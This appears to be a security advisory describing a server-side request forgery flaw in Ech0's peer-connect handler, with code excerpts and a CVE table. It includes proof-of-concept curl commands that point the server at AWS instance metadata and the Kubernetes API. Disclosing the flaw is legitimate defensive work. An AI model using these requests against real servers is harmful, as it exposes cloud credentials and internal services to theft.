Ech0 has Server-Side Request Forgery (SSRF) via Connect Handler fetchPeerConnectInfo
## Summary The `fetchPeerConnectInfo` function in `internal/service/connect/connect.go:214-239` uses `httpUtil.SendRequest` (no SSRF protection) instead of `SendSafeRequest` (which has `ValidatePublicHTTPURL` with private IP blocking). This allows authenticated users to make the server request arbitrary URLs including internal/cloud metadata endpoints. ## Details In `internal/service/connect/connect.go`, the `fetchPeerConnectInfo` function: ```go func fetchPeerConnectInfo(peerConnectURL string, requestTimeout time.Duration) (model.Connect, error) { url := httpUtil.TrimURL(peerConnectURL) + "/api/connect" resp, err := httpUtil.SendRequest(url, "GET", struct {...}{...}, requestTimeout) ``` This uses `SendRequest` which has NO URL validation. The codebase HAS `SendSafeRequest` at `internal/util/http/http.go:228-281` with proper SSRF protection, but `fetchPeerConnectInfo` does not use it. Called from: - Line 307: `data, err := fetchPeerConnectInfo(conn.ConnectURL, requestTimeout)` - - Line 498: `data, err := fetchPeerConnectInfo(conn.ConnectURL, healthProbeTimeout)` ## PoC ```bash # 1. Add a connection pointing to AWS metadata service curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://169.254.169.254/latest/meta-data/instance-id"}' # 2. Trigger SSRF via health check curl -H "Authorization: Bearer <token>" \ "https://ech0.example.com/api/connects/health" # Returns AWS EC2 instance ID ``` Or for Kubernetes: ```bash curl -X POST "https://ech0.example.com/api/connects" \ -H "Authorization: Bearer <token>" \ -d '{"connect_url": "http://kubernetes.default.svc.cluster.local:443/api"}' ``` ## Impact - **Confidentiality**: SSRF can access internal services, cloud metadata (AWS IMDSv1, GCE metadata), Kubernetes API - - **CWE-918**: Server-Side Request Forgery
describes (1)
Related CVEs.
| ID | severity | exploitable | ||
|---|---|---|---|---|
| CVE-2026-79659US | high7.7 | — | ||
Ech0 before 4.7.3 contains a server-side request forgery vulnerability in the fetchPeerConnectInfo function that uses unvalidated HTTP requests instead of safe request methods with… | ||||
references
External citations — patches, advisories, analysis.
Advisories like this name the exposed products attackers go after on your perimeter. See what is exposed on your perimeter with a free passive scan.
Free scan